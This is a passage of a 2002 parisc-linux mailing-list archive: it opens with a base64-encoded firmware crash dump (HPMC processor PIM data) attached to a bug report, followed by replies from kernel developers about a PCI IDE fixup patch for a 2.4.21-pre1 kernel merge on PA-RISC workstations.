dGVzCgogIFByaW1hcnkgYm9vdCBwYXRoOiAgICBTQ1NJLjYuMAogIEFsdGVybmF0ZSBib290IHBh
dGg6ICBTQ1NJLjUuMAogIENvbnNvbGUgcGF0aDogICAgICAgICBHUkFQSElDUygwKQogIEtleWJv
YXJkIHBhdGg6ICAgICAgICBVU0IKCi0tLS0tIE1haW4gTWVudSAtLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgogICAgICBDb21tYW5k
ICAgICAgICAgICAgICAgICAgICAgICAgICAgRGVzY3JpcHRpb24KICAgICAgLS0tLS0tLSAgICAg
ICAgICAgICAgICAgICAgICAgICAgIC0tLS0tLS0tLS0tCiAgICAgIEJPb3QgW1BSSXxBTFR8PHBh
dGg+XSAgICAgICAgICAgICBCb290IGZyb20gc3BlY2lmaWVkIHBhdGgKICAgICAgUEF0aCBbUFJJ
fEFMVHxDT058S0VZIFs8cGF0aD5dXSAgIERpc3BsYXkgb3IgbW9kaWZ5IGEgcGF0aAogICAgICBT
RUFyY2ggW0RJc3BsYXl8W1tJUExdIFs8cGF0aD5dXV0gU2VhcmNoIGZvciBib290IGRldmljZXMK
CiAgICAgIENPbmZpZ3VyYXRpb24gWzxjb21tYW5kPl0gICAgICAgICBBY2Nlc3MgQ29uZmlndXJh
dGlvbiBtZW51L2NvbW1hbmRzCiAgICAgIElOZm9ybWF0aW9uIFs8Y29tbWFuZD5dICAgICAgICAg
ICBBY2Nlc3MgSW5mb3JtYXRpb24gbWVudS9jb21tYW5kcwogICAgICBTRVJ2aWNlIFs8Y29tbWFu
ZD5dICAgICAgICAgICAgICAgQWNjZXNzIFNlcnZpY2UgbWVudS9jb21tYW5kcwoKICAgICAgRElz
cGxheSAgICAgICAgICAgICAgICAgICAgICAgICAgIFJlZGlzcGxheSB0aGUgY3VycmVudCBtZW51
CiAgICAgIEhFbHAgWzxtZW51Pnw8Y29tbWFuZD5dICAgICAgICAgICBEaXNwbGF5IGhlbHAgZm9y
IG1lbnUgb3IgY29tbWFuZAogICAgICBSRVNFVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
UmVzdGFydCB0aGUgc3lzdGVtCi0tLS0tCk1haW4gTWVudTogRW50ZXIgY29tbWFuZCA+IHNlciBw
aW0KClBST0NFU1NPUiBQSU0gSU5GT1JNQVRJT04KCi0tLS0tLS0tLS0tLS0tLS0tICBQcm9jZXNz
b3IgMCBIUE1DIEluZm9ybWF0aW9uIC0tLS0tLS0tLS0tLS0tLS0tLQoKVGltZXN0YW1wID0gCiAg
TW9uIERlYyAgMTYgMTQ6NDg6MjcgR01UIDIwMDIgICAgKDIwOjAyOjEyOjE2OjE0OjQ4OjI3KQoK
SFBNQyBDaGFzc2lzIENvZGVzID0gMmNiZjAgIDI1MDBiICAyY2JmYiAgCgpHZW5lcmFsIFJlZ2lz
dGVycyAwIC0gMzEKMDAtMDMgICAwMDAwMDAwMDAwMDAwMDAwICAwMDAwMDAwMDEwMzRhMDEwICAw
MDAwMDAwMDEwMTEwODQ4ICAwMDAwMDAwMDAwMDAwMGZmCjA0LTA3ICAgMDAwMDAwMDAxMDM2ZTQ2
OCAgMDAwMDAwMDAxMDM2ZTNlMCAgMDAwMDAwMDAxMDM1NTVjMCAgMDAwMDAwMDAwMDAwMDBlYwow
OC0xMSAgIDAwMDAwMDAwMDAwMDAwMGYgIDAwMDAwMDAwMTAzNGE4MTAgIDAwMDAwMDAwMTAzNGE4
MTAgIDAwMDAwMDAwMTAzNGQ4MTAKMTItMTUgICAwMDAwMDAwMDAwMDAwMDAwICAwMDAwMDAwMGZm
ZmZmZmZmICAwMDAwMDAwMDAwMDAwMDAwICAwMDAwMDAwMGYwNDAwMDA0CjE2LTE5ICAgMDAwMDAw
MDBmMDAwMDhjNCAgMDAwMDAwMDBmMDAwMDE3YyAgMDAwMDAwMDBmMDAwMDE3NCAgZmZmZmZmZmZm
ZWUwMDAwMAoyMC0yMyAgIDAwMDAwMDAwMDAwMDAwMGYgIDAwMDAwMDAwMTAwYjQxNjAg
IDAwMDAwMDAwMTAxMTFiZDAgIDAwMDAwMDAwMDAwZjQyNDAKMjQtMjcgICAwMDAwMDAwMDAwMDAw
ZTA2ICBmZmZmZmZmZmZlZTAwZTA2ICAwMDAwMDAwMDEwMGI0MTYwICAwMDAwMDAwMDEwMzNhMDEw
CjI4LTMxICAgMDAwMDAwMDAwMDAwMDBkZiAgN2Q3ODQwMDAwMDA2MWE4MCAgMDAwMDAwMDAxMDA4
YzgwMCAgMDAwMDAwMDAxMDExMDg0OAoKPFByZXNzIGFueSBrZXkgdG8gY29udGludWUgKHEgdG8g
cXVpdCk+IAoKQ29udHJvbCBSZWdpc3RlcnMgMCAtIDMxCjAwLTAzICAgMDAwMDAwMDAwMDAwMDAw
MCAgMDAwMDAwMDAwMDAwMDAwMCAgMDAwMDAwMDAwMDAwMDAwMCAgMDAwMDAwMDAwMDAwMDAwMAow
NC0wNyAgIDAwMDAwMDAwMDAwMDAwMDAgIDAwMDAwMDAwMDAwMDAwMDAgIDAwMDAwMDAwMDAwMDAw
MDAgIDAwMDAwMDAwMDAwMDAwMDAKMDgtMTEgICAwMDAwMDAwMDAwMDAwMDAwICAwMDAwMDAwMDAw
MDAwMDAwICAwMDAwMDAwMDAwMDAwMGMwICAwMDAwMDAwMDAwMDAwMDBhCjEyLTE1ICAgMDAwMDAw
MDAwMDAwMDAwMCAgMDAwMDAwMDAwMDAwMDAwMCAgMDAwMDAwMDAwMDEwODAwMCAgMDAwMDAwMDBm
ZjgwMDAwMAoxNi0xOSAgIDAwMDAwMDBmOGE3ZWVjZWQgIDAwMDAwMDAwMDAwMDAwMDAgIDAwMDAw
MDAwMTAxMTFiZTAgIDAwMDAwMDAwMGYyMDAwMWMKMjAtMjMgICAwMDAwMDAwMGE2MDdmZmZiICBj
MDAwMDAwMDgwMjAwZTA2ICAwMDAwMDBmZjAwMDRmZDBkICAwMDAwMDAwMDgwMDAwMDAwCjI0LTI3
ICAgMDAwMDAwMDAwMDM1NjAwMCAgMDAwMDAwMDAwMDM1NjAwMCAgMDAwMDAwMDAwMDA0NDAyMSAg
MDAwMDAwMDBmMDQxMjAwMAoyOC0zMSAgIDAwMDAwMDAwNTU1NTU1NTUgIDAwMDAwMDAwNTU1NTU1
NTUgIDAwMDAwMDAwMTAwOGMwMDAgIDAwMDAwMDAwMTAzZjAwMDAKU3BhY2UgUmVnaXN0ZXJzIDAg
LSA3CgowMC0wMyAgIDAwMDAwMDAwICAgICAgICAgIDAwMDAwMDAwICAgICAgICAgIDAwMDAwMDAw
ICAgICAgICAgIDAwMDAwMDAwCjA0LTA3ICAgMDAwMDAwMDAgICAgICAgICAgMDAwMDAwMDAgICAg
ICAgICAgMDAwMDAwMDAgICAgICAgICAgMDAwMDAwMDAKCjxQcmVzcyBhbnkga2V5IHRvIGNvbnRp
bnVlIChxIHRvIHF1aXQpPiAKCklJQSBTcGFjZSAgICAgICAgICAgICAgICAgICAgPSAweDAwMDAw
MDAwMDAwMDAwMDAKSUlBIE9mZnNldCAgICAgICAgICAgICAgICAgICA9IDB4MDAwMDAwMDAxMDEx
MWJlNApDaGVjayBUeXBlICAgICAgICAgICAgICAgICAgID0gMHgyMDAwMDAwMApDUFUgU3RhdGUg
ICAgICAgICAgICAgICAgICAgID0gMHg5ZTAwMDAwNApDYWNoZSBDaGVjayAgICAgICAgICAgICAg
ICAgID0gMHgwMDAwMDAwMApUTEIgQ2hlY2sgICAgICAgICAgICAgICAgICAgID0gMHgwMDAwMDAw
MApCdXMgQ2hlY2sgICAgICAgICAgICAgICAgICAgID0gMHgwMDMwMTAzYgpBc3Npc3RzIENoZWNr
ICAgICAgICAgICAgICAgID0gMHgwMDAwMDAwMApBc3Npc3QgU3RhdGUgICAgICAgICAgICAgICAg
ID0gMHgwMDAwMDAwMApQYXRoIEluZm8gICAgICAgICAgICAgICAgICAgID0gMHgwMDAwMDAwMApT
eXN0ZW0gUmVzcG9uZGVyIEFkZHJlc3MgICAgID0gMHgwMDAwMDBmZmZlZTAwZTA2ClN5c3RlbSBS
ZXF1ZXN0b3IgQWRkcmVzcyAgICAgPSAweGZmZmZmZmZmZmZmYTAwMDAKCkZsb2F0aW5nLVBvaW50
IFJlZ2lzdGVycyAwIC0gMzEKMDAtMDMgICAwMDAwMDAxZjAwMDAwMDAwICAwMDAwMDAxZjAwMDAw
MDAwICAwMDAwMDAxZjAwMDAwMDAwICAwMDAwMDAxZjAwMDAwMDAwCjA0LTA3ICAgMDAwMDAwMDAw
MDAwMDAwMCAgNTU1NTU1NTU1NTU1NTU1NSAgNTU1NTU1NTU1NTU1NTU1NSAgNTU1NTU1NTU1NTU1
NTU1NQowOC0xMSAgIDU1NTU1NTU1NTU1NTU1NTUgIDU1NTU1NTU1NTU1NTU1NTUgIDU1NTU1NTU1
NTU1NTU1NTUgIDU1NTU1NTU1NTU1NTU1NTUKMTItMTUgICA1NTU1NTU1NTU1NTU1NTU1ICA1NTU1
NTU1NTU1NTU1NTU1ICA1NTU1NTU1NTU1NTU1NTU1ICA1NTU1NTU1NTU1NTU1NTU1CjE2LTE5ICAg
NTU1NTU1NTU1NTU1NTU1NSAgNTU1NTU1NTU1NTU1NTU1NSAgNTU1NTU1NTU1NTU1NTU1NSAgNTU1
NTU1NTU1NTU1NTU1NQoyMC0yMyAgIDU1NTU1NTU1NTU1NTU1NTUgIDU1NTU1NTU1NTU1NTU1NTUg
IDU1NTU1NTU1NTU1NTU1NTUgIDU1NTU1NTU1NTU1NTU1NTUKMjQtMjcgICA1NTU1NTU1NTU1NTU1
NTU1ICA1NTU1NTU1NTU1NTU1NTU1ICA1NTU1NTU1NTU1NTU1NTU1ICA1NTU1NTU1NTU1NTU1NTU1
CjI4LTMxICAgNTU1NTU1NTU1NTU1NTU1NSAgNTU1NTU1NTU1NTU1NTU1NSAgNTU1NTU1NTU1NTU1
NTU1NSAgNTU1NTU1NTU1NTU1NTU1NQoKPFByZXNzIGFueSBrZXkgdG8gY29udGludWUgKHEgdG8g
cXVpdCk+IAoKCic5MDAwLzc4NSBCLEMsSiBXb3Jrc3RhdGlvbiBVbmFyY2hpdGVjdGVkIChwZXIt
Q1BVKScsIHJldiAxLCAxNDAgYnl0ZXM6CgpDaGVjayBTdW1tYXJ5ICAgICAgICAgICAgICAgID0g
MHhjYjgxMDQxMDA4MDAwMDAwCkF2YWlsYWJsZSBNZW1vcnkgICAgICAgICAgICAgPSAweDAwMDAw
MDAwMTAwMDAwMDAKQ1BVIERpYWdub3NlIFJlZ2lzdGVyIDIgICAgICA9IDB4MDMwMTAwMDAwMDAw
MDAwNApDUFUgU3RhdHVzIFJlZ2lzdGVyIDAgICAgICAgID0gMHgyNDIwYzIwMDAwMDAwMDAwCkNQ
VSBTdGF0dXMgUmVnaXN0ZXIgMSAgICAgICAgPSAweDgwMDIwMDAwMDAwMDAwMDAKU0FERCBMT0cg
ICAgICAgICAgICAgICAgICAgICA9IDB4YzEwMDIwZmZmZWUwMGUwNgpSZWFkIFNob3J0IExPRyAg
ICAgICAgICAgICAgID0gMHhjMTgwMjBmZmZlZTAwZTA2CkVSUk9SX1NUQVRVUyAgICAgICAgICAg
ICAgICAgPSAweDAwMDAwMDAwMDAxMDAwMTAKTUVNX0FERFIgICAgICAgICAgICAgICAgICAgICA9
IDB4MDAwMDAxZmYzZmZmZmZmZgpNRU1fU1lORCAgICAgICAgICAgICAgICAgICAgID0gMHgwMDAw
MDAwMDAwMDAwMDAwCk1FTV9BRERSX0NPUlIgICAgICAgICAgICAgICAgPSAweDAwMDAwMWZmM2Zm
ZmZmZmYKTUVNX1NZTkRfQ09SUiAgICAgICAgICAgICAgICA9IDB4MDAwMDAwMDAwMDAwMDAwMApS
VU5fREFUQV9ISUdIICAgICAgICAgICAgICAgID0gMHhjMWJmZjBmZmZlZDA4MDQwClJV
Tl9EQVRBX0xPVyAgICAgICAgICAgICAgICAgPSAweGMxYmZmMGZmZmVkMDgwNDAKUlVOX0NUUkwg
ICAgICAgICAgICAgICAgICAgICA9IDB4MDAwMDAyMWMwMDAwMTQxOApSVU5fQUREUiAgICAgICAg
ICAgICAgICAgICAgID0gMHhjMWJmZjBmZmZlZDA4MDQwClN5c3RlbSBSZXNwb25kZXIgUGF0aCAg
ICAgICAgPSAweDAwZmZmZmZmMGEwMDBlMDAKCgpIUE1DIFBJTSBBbmFseXNpcyBJbmZvcm1hdGlv
bjoKClRpbWVzdGFtcCA9IAogIE1vbiBEZWMgIDE2IDE0OjQ4OjI3IEdNVCAyMDAyICAgICgyMDow
MjoxMjoxNjoxNDo0ODoyNykKCgonOTAwMC83ODUgQixDLEogV29ya3N0YXRpb24gSFBNQyBQSU0g
QW5hbHlzaXMgKHBlci1DUFUpJywgcmV2IDAsIDEzMDQgYnl0ZXM6CgpBIERhdGEgSS9PIEZldGNo
IFRpbWVvdXQgb2NjdXJyZWQgd2hpbGUgQ1BVIDAgd2FzCnJlcXVlc3RpbmcgaW5mb3JtYXRpb24g
ZnJvbSBhIGRldmljZSBhdCB0aGUgcGF0aCAxMC8wLzE0LzAgKGJ1aWx0LWluIFBDSSBkZXZpY2Up
LgoKCk1lbW9yeS9JTyBDb250cm9sbGVyIEVycm9yIEFuYWx5c2lzIEluZm9ybWF0aW9uOgoKVGhl
IE1lbW9yeS9JTyBDb250cm9sbGVyIG9ubHkgb2JzZXJ2ZWQgdGhlIEJyb2FkY2FzdCBFcnJvci4g
IEl0IGRpZCBub3QgbG9nCmFueSBhZGRpdGlvbmFsIGluZm9ybWF0aW9uIGFib3V0IHRoZSBIUE1D
LgoKPFByZXNzIGFueSBrZXkgdG8gY29udGludWUgKHEgdG8gcXVpdCk+IAoKLS0tLS0tLS0tLS0t
LS0tLS0gIFByb2Nlc3NvciAwIExQTUMgSW5mb3JtYXRpb24gLS0tLS0tLS0tLS0tLS0tLS0tCgpD
aGVjayBUeXBlICAgICAgICAgICAgICAgICAgID0gMHgwMDAwMDAwMApJL0QgQ2FjaGUgUGFyaXR5
IEluZm8gICAgICAgID0gMHgwMDAwMDAwMApDYWNoZSBDaGVjayAgICAgICAgICAgICAgICAgID0g
MHgwMDAwMDAwMApUTEIgQ2hlY2sgICAgICAgICAgICAgICAgICAgID0gMHgwMDAwMDAwMApCdXMg
Q2hlY2sgICAgICAgICAgICAgICAgICAgID0gMHgwMDAwMDAwMApBc3Npc3RzIENoZWNrICAgICAg
ICAgICAgICAgID0gMHgwMDAwMDAwMApBc3Npc3QgU3RhdGUgICAgICAgICAgICAgICAgID0gMHgw
MDAwMDAwMApQYXRoIEluZm8gICAgICAgICAgICAgICAgICAgID0gMHgwMDAwMDAwMApTeXN0ZW0g
UmVzcG9uZGVyIEFkZHJlc3MgICAgID0gMHgwMDAwMDAwMDAwMDAwMDAwClN5c3RlbSBSZXF1ZXN0
b3IgQWRkcmVzcyAgICAgPSAweDAwMDAwMDAwMDAwMDAwMDAKCgotLS0tLS0tLS0tLS0tLS0tLSAg
UHJvY2Vzc29yIDAgVE9DIEluZm9ybWF0aW9uIC0tLS0tLS0tLS0tLS0tLS0tLS0KCkdlbmVyYWwg
UmVnaXN0ZXJzIDAgLSAzMQowMC0wMyAgIDAwMDAwMDAwMDAwMDAwMDAgIDAwMDAwMDAwMDAwMDAw
MDAgIDAwMDAwMDAwMDAwMDAwMDAgIDAwMDAwMDAwMDAwMDAwMDAKMDQtMDcgICAwMDAwMDAwMDAw
MDAwMDAwICAwMDAwMDAwMDAwMDAwMDAwICAwMDAwMDAwMDAwMDAwMDAwICAwMDAwMDAwMDAwMDAw
MDAwCjA4LTExICAgMDAwMDAwMDAwMDAwMDAwMCAgMDAwMDAwMDAwMDAwMDAwMCAgMDAwMDAwMDAw
MDAwMDAwMCAgMDAwMDAwMDAwMDAwMDAwMAoxMi0xNSAgIDAwMDAwMDAwMDAwMDAwMDAgIDAwMDAw
MDAwMDAwMDAwMDAgIDAwMDAwMDAwMDAwMDAwMDAgIDAwMDAwMDAwMDAwMDAwMDAKMTYtMTkgICAw
MDAwMDAwMDAwMDAwMDAwICAwMDAwMDAwMDAwMDAwMDAwICAwMDAwMDAwMDAwMDAwMDAwICAwMDAw
MDAwMDAwMDAwMDAwCjIwLTIzICAgMDAwMDAwMDAwMDAwMDAwMCAgMDAwMDAwMDAwMDAwMDAwMCAg
MDAwMDAwMDAwMDAwMDAwMCAgMDAwMDAwMDAwMDAwMDAwMAoyNC0yNyAgIDAwMDAwMDAwMDAwMDAw
MDAgIDAwMDAwMDAwMDAwMDAwMDAgIDAwMDAwMDAwMDAwMDAwMDAgIDAwMDAwMDAwMDAwMDAwMDAK
MjgtMzEgICAwMDAwMDAwMDAwMDAwMDAwICAwMDAwMDAwMDAwMDAwMDAwICAwMDAwMDAwMDAwMDAw
MDAwICAwMDAwMDAwMDAwMDAwMDAwCgo8UHJlc3MgYW55IGtleSB0byBjb250aW51ZSAocSB0byBx
dWl0KT4gCgpDb250cm9sIFJlZ2lzdGVycyAwIC0gMzEKMDAtMDMgICAwMDAwMDAwMDAwMDAwMDAw
ICAwMDAwMDAwMDAwMDAwMDAwICAwMDAwMDAwMDAwMDAwMDAwICAwMDAwMDAwMDAwMDAwMDAwCjA0
LTA3ICAgMDAwMDAwMDAwMDAwMDAwMCAgMDAwMDAwMDAwMDAwMDAwMCAgMDAwMDAwMDAwMDAwMDAw
MCAgMDAwMDAwMDAwMDAwMDAwMAowOC0xMSAgIDAwMDAwMDAwMDAwMDAwMDAgIDAwMDAwMDAwMDAw
MDAwMDAgIDAwMDAwMDAwMDAwMDAwMDAgIDAwMDAwMDAwMDAwMDAwMDAKMTItMTUgICAwMDAwMDAw
MDAwMDAwMDAwICAwMDAwMDAwMDAwMDAwMDAwICAwMDAwMDAwMDAwMDAwMDAwICAwMDAwMDAwMDAw
MDAwMDAwCjE2LTE5ICAgMDAwMDAwMDAwMDAwMDAwMCAgMDAwMDAwMDAwMDAwMDAwMCAgMDAwMDAw
MDAwMDAwMDAwMCAgMDAwMDAwMDAwMDAwMDAwMAoyMC0yMyAgIDAwMDAwMDAwMDAwMDAwMDAgIDAw
MDAwMDAwMDAwMDAwMDAgIDAwMDAwMDAwMDAwMDAwMDAgIDAwMDAwMDAwMDAwMDAwMDAKMjQtMjcg
ICAwMDAwMDAwMDAwMDAwMDAwICAwMDAwMDAwMDAwMDAwMDAwICAwMDAwMDAwMDAwMDAwMDAwICAw
MDAwMDAwMDAwMDAwMDAwCjI4LTMxICAgMDAwMDAwMDAwMDAwMDAwMCAgMDAwMDAwMDAwMDAwMDAw
MCAgMDAwMDAwMDAwMDAwMDAwMCAgMDAwMDAwMDAwMDAwMDAwMApTcGFjZSBSZWdpc3RlcnMgMCAt
IDcKCjAwLTAzICAgMDAwMDAwMDAgICAgICAgICAgMDAwMDAwMDAgICAgICAgICAgMDAwMDAwMDAg
ICAgICAgICAgMDAwMDAwMDAKMDQtMDcgICAwMDAwMDAwMCAgICAgICAgICAwMDAwMDAwMCAgICAg
ICAgICAwMDAwMDAwMCAgICAgICAgICAwMDAwMDAwMAoKSUlBIFNwYWNlICAgICAgICAgICAgICAg
ICAgICA9IDB4MDAwMDAwMDAwMDAwMDAwMApJSUEgT2Zmc2V0ICAgICAgICAgICAgICAgICAgID0g
MHgwMDAwMDAwMDAwMDAwMDAwCkNQVSBTdGF0ZSAgICAgICAgICAgICAgICAgICAgPSAweDAwMDAw
MDAwCgoKPFByZXNzIGFueSBrZXkgdG8gY29udGludWUgKHEgdG8gcXVpdCk+IAoKTWVtb3J5IEVy
cm9yIExvZyBJbmZvcm1hdGlvbjoKClRpbWVzdGFtcCA9IAogIE1vbiBEZWMgIDE2IDE0
OjQ4OjI3IEdNVCAyMDAyICAgICgyMDowMjoxMjoxNjoxNDo0ODoyNykKCgonOTAwMC83ODUgQixD
LEogV29ya3N0YXRpb24gTWVtb3J5IEVycm9yIExvZycsIHJldiAwLCA2NCBieXRlczoKCiAgIE5v
IG1lbW9yeSBlcnJvcnMgbG9nZ2VkCgoKSS9PIE1vZHVsZSBFcnJvciBMb2cgSW5mb3JtYXRpb246
CgpUaW1lc3RhbXAgPSAKICBNb24gRGVjICAxNiAxNDo0ODoyNyBHTVQgMjAwMiAgICAoMjA6MDI6
MTI6MTY6MTQ6NDg6MjcpCgoKJzkwMDAvNzg1IEIsQyxKIFdvcmtzdGF0aW9uIElPIEVycm9yIExv
ZycsIHJldiAwLCAyMjggYnl0ZXM6CgogUm9wZSAgICAgV29yZDEgICAgICAgIFdvcmQyICAgICAg
ICAgICAgV29yZDMKLS0tLS0tIC0tLS0tLS0tLS0tLSAtLS0tLS0tLS0tLS0KICAgMCAgICAweDAw
MDJlMDAwICAgMHgwZTBjYzAwOSAgIDB4MDAwMDAwMDAwMDAwMGUwNAogICAxICAgIDB4MDAwMDAw
MDAgICAweDFlMGNjMDA5ICAgMHgwMDAwMDAwMGZlZDMyMDQ4CiAgIDIgICAgLS0tLS0tLS0tLSAg
IDB4MmUwY2MwMDkgICAtLS0tLS0tLS0tLS0tLS0tLS0KICAgMyAgICAtLS0tLS0tLS0tICAgMHgz
ZTBjYzAwOSAgIC0tLS0tLS0tLS0tLS0tLS0tLQogICA0ICAgIC0tLS0tLS0tLS0gICAweDRlMGNj
MDA5ICAgLS0tLS0tLS0tLS0tLS0tLS0tCiAgIDUgICAgLS0tLS0tLS0tLSAgIDB4NWUwY2MwMDkg
ICAtLS0tLS0tLS0tLS0tLS0tLS0KICAgNiAgICAtLS0tLS0tLS0tICAgMHg2ZTBjYzAwOSAgIC0t
LS0tLS0tLS0tLS0tLS0tLQogICA3ICAgIC0tLS0tLS0tLS0gICAweDdlMGNjMDA5ICAgLS0tLS0t
LS0tLS0tLS0tLS0tCk1haW4gTWVudTogRW50ZXIgY29tbWFuZCA+IApNYWluIE1lbnU6IEVudGVy
IGNvbW1hbmQgPiA=

--=========3DED9BF500001EC5/mail.tiscali.be--


From - Thu Nov 08 21:25:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: YA pb with PCI IDE (my merge 2.4.21-pre1)
Date: 16 Dec 2002 18:04:26 +0000
Lines: 14
Approved: news@gmane.org
Message-ID: <1040061866.13786.74.camel@irongate.swansea.linux.org.uk>
References: <3DED9BF500001EC5@ocpmta8.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622028 18716 80.91.229.3 (22 Nov 2014 02:07:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:08 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: jsoe0708@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec 16 10:24:56 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from irongate.swansea.linux.org.uk (pc2-cwma1-4-cust86.swan.cable.ntl.com [213.105.254.86])
	by dsl2.external.hp.com (Postfix) with ESMTP id 95041482E
	for <parisc-linux@lists.parisc-linux.org>; Mon, 16 Dec 2002 10:24:55 -0700 (MST)
Original-Received: from irongate.swansea.linux.org.uk (localhost [127.0.0.1])
	by irongate.swansea.linux.org.uk (8.12.5/8.12.5) with ESMTP id gBGI4RlQ014528;
	Mon, 16 Dec 2002 18:04:28 GMT
Original-Received: (from alan@localhost)
	by irongate.swansea.linux.org.uk (8.12.5/8.12.5/Submit) id gBGI4QpW014526;
	Mon, 16 Dec 2002 18:04:26 GMT
X-Authentication-Warning: irongate.swansea.linux.org.uk: alan set sender to alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <3DED9BF500001EC5@ocpmta8.freegates.net>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-10) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17119

On Mon, 2002-12-16 at 17:06, jsoe0708@tiscali.be wrote:
> Hi Alan,
> 
> Worried about ext3 pb, I try to merge parisc kernel 2.4.20-pa14 with 2.4.21-pre1.
> This merge seems to works fine on a b180l+ (without pci devices).
> But still boot twice (??) and crash on a b2k with an ide cdrom.

I've sent the PCI fixup patch to linux-kernel. Depending upon how the
PA-RISC system interfaces to the IDE controller you may also need
platform specific fixups or to drop the chip into Native mode.

Someone at HP can probably answer that bit



From - Thu Nov 08 21:25:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: YA pb with PCI IDE (my merge 2.4.21-pre1)
Date: Mon, 16 Dec 2002 17:29:06 +0000
Lines: 22
Approved: news@gmane.org
Message-ID: <20021216172906.B9994@parcelfarce.linux.theplanet.co.uk>
References: <3DED9BF500001EC5@ocpmta8.freegates.net> <1040061866.13786.74.camel@irongate.swansea.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622028 18719 80.91.229.3 (22 Nov 2014 02:07:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:08 +0000 (UTC)
Cc: jsoe0708@tiscali.be, parisc-linux@lists.parisc-linux.org
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec 16 10:29:13 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 647524881
	for <parisc-linux@lists.parisc-linux.org>; Mon, 16 Dec 2002 10:29:12 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18Nz3C-0005aP-00; Mon, 16 Dec 2002 17:29:06 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <1040061866.13786.74.camel@irongate.swansea.linux.org.uk>; from alan@lxorguk.ukuu.org.uk on Mon, Dec 16, 2002 at 06:04:26PM +0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17120

On Mon, Dec 16, 2002 at 06:04:26PM +0000, Alan Cox wrote:
> On Mon, 2002-12-16 at 17:06, jsoe0708@tiscali.be wrote:
> > Hi Alan,
> > 
> > Worried about ext3 pb, I try to merge parisc kernel 2.4.20-pa14 with 2.4.21-pre1.
> > This merge seems to works fine on a b180l+ (without pci devices).
> > But still boot twice (??) and crash on a b2k with an ide cdrom.
> 
> I've sent the PCI fixup patch to linux-kernel. Depending upon how the
> PA-RISC system interfaces to the IDE controller you may also need
> platform specific fixups or to drop the chip into Native mode.

You mean the "IDE but no disks" patch:
http://www.uwsg.iu.edu/hypermail/linux/kernel/0212.2/0105.html ?
If so, that might be relevant, but have davem's concerns about this IDE
code being broken on big-endian machines been addressed?

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:25:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: YA pb with PCI IDE (my merge 2.4.21-pre1)
Date: 16 Dec 2002 18:20:13 +0000
Lines: 16
Approved: news@gmane.org
Message-ID: <1040062813.13837.79.camel@irongate.swansea.linux.org.uk>
